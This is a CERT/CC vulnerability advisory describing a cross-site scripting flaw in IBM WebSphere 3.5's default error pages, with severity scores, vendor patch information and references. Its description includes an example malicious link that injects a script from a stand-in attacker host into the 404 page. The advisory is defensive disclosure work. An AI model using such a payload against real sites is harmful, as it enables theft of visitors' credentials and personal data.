CERTVU:560659IBM WebSphere vulnerable to Cross-Site Scripting via passing of user input directly to default error page
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.002 Low
EPSS
Percentile
60.9%
Overview
Web Servers that use the IBM WebSphere Java Servlet Container 3.5 and earlier are vulnerable to a cross-site scripting vulnerability. A web site may inadvertently include malicious HTML tags or script(JavaScript, VBScript, Java, etc.) in a dynamically generated page based on unvalidated input from untrustworthy sources. This can be a problem when a web server does not adequately ensure that generated pages are properly encoded to prevent unintended execution of scripts, and when input is not validated to prevent malicious HTML from being presented to the user.
Description
It is possible to use a “cross-site” scripting technique to inject malicious script (JavaScript, VBScript, etc.) or HTML into a web page.
The essence of cross-site scripting is that an intruder causes a legitimate web server to send a page to a victim’s web browser that contains malicious script or HTML of the intruder’s choosing. The malicious script runs with the privileges of a legitimate script originating from the legitimate web server.
Several server applications are vulnerable to such an technique via various default error pages.
For example, A valid URL request might be
<http://www.example.com/FILENAME.html>
However, if the requested document “FILENAME.html” did not exist, the web site could return an error message such as:
<HTML>
404 page does not exist: FILENAME.html
…
</HTML>
Notice that “FILENAME.html” is a string that was inputed by a user and is included in the page returned by the web site straight through to the client’s browser.
If a malicious web site existed that offered a link to example.com that looked something like this
<A HREF=“http://www.example.com/<script SRC=‘http://www.malicioussite.com/evilscript.js’></script>”>Click Here</a>
The “FILENAME.html” submitted to example.com is
<script SRC=‘http://www.malicioussite.com/evilscript.js’></script>
example.com then uses its ordinary routines to generate an error page to you that
reads:
<HTML>
404 page not found: <script SRC=‘http://www.malicioussite.com/evilscript.js’></script>
…
</HTML>
In effect, malicioussite.com has managed to “inject” a JavaScript program of their choosing into the page returned to the user by example.com. The JavaScript runs as if it originated at example.com, and can therefore process events in that document, but it can also communicate with malicioussite.com by virtue of having come from there. Thus, this vulnerability could be used to “sniff” sensitive data from within the web page, including passwords, credit card numbers, and any arbitrary information the user inputs. There are a variety of variants to this problem.
The ultimate fix to this problem involves recoding a very large number of web sites so that they properly filter and validate the input they receive and properly encode or filter the output before returning it to the user or acting upon it. This process is a very large undertaking.
Impact
The victim will be presented with information which the compromised site did not wish their visitors to be subjected. This could be used to “sniff” sensitive data from within the web page, including passwords, credit card numbers, and any arbitrary information the user inputs.
Solution
Install the vendor patch for WebSphere 3.5 and 3.02: PQ47386302x from <http://www-4.ibm.com/software/webservers/appserv/efix.html>
A web master may change the default error page to not include the file name passed in by any user. The client may disable JavaScript (or VBScript or other scripting languages), but it doesn’t address the problem of simply inserting malicious HTML, and it can cause undesired functionality.
Vendor Information
560659
Filter by status: All Affected Not Affected Unknown
Filter by content: __ Additional information available
__ Sort by: Status Alphabetical
Expand all
Javascript is disabled. Click here to view vendors.
IBM __ Affected
Notified: March 20, 2001 Updated: August 23, 2001
Status
Affected
Vendor Statement
IBM has fixed this vulnerability in WebSphere, and has a fix available to customers. The location of the fix is given in “III. Solution” of this Note. IBM does not support versions of WebSphere earlier than 3.02, so no fix is available for versions prior to 3.02.
We urge customers who employ affected versions of WebSphere to download and apply the fix described in this note as soon as possible to reduce their security exposure.
Vendor Information
The vendor has not provided us with any further information regarding this vulnerability.
Addendum
The CERT/CC has no additional comments at this time.
If you have feedback, comments, or additional information about this vulnerability, please send us [email](<mailto:[email protected]?Subject=VU%23560659 Feedback>).
CVSS Metrics
| Group | Score | Vector |
|---|---|---|
| Base | ||
| Temporal | ||
| Environmental |
References
- <http://www.securityfocus.com/bid/2969>
- <http://www.cert.org/advisories/CA-2000-02.html>
- <http://www.microsoft.com/TechNet/security/crssite.asp>
- <http://www.apache.org/info/css-security/>
- <http://www.microsoft.com/technet/security/bulletin/ms00-060.asp>
Acknowledgements
Our thanks to Hiromitsu Takagi, who discovered this instance of the cross-site scripting vulnerability.
This document was originally written by Shawn Hernan in July 2000. It has been adapted for this instance by Jason Rafail.
Other Information
| CVE IDs: | CVE-2001-0824 |
|---|---|
| Severity Metric: | 59.06 Date Public: |
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.002 Low
EPSS
Percentile
60.9%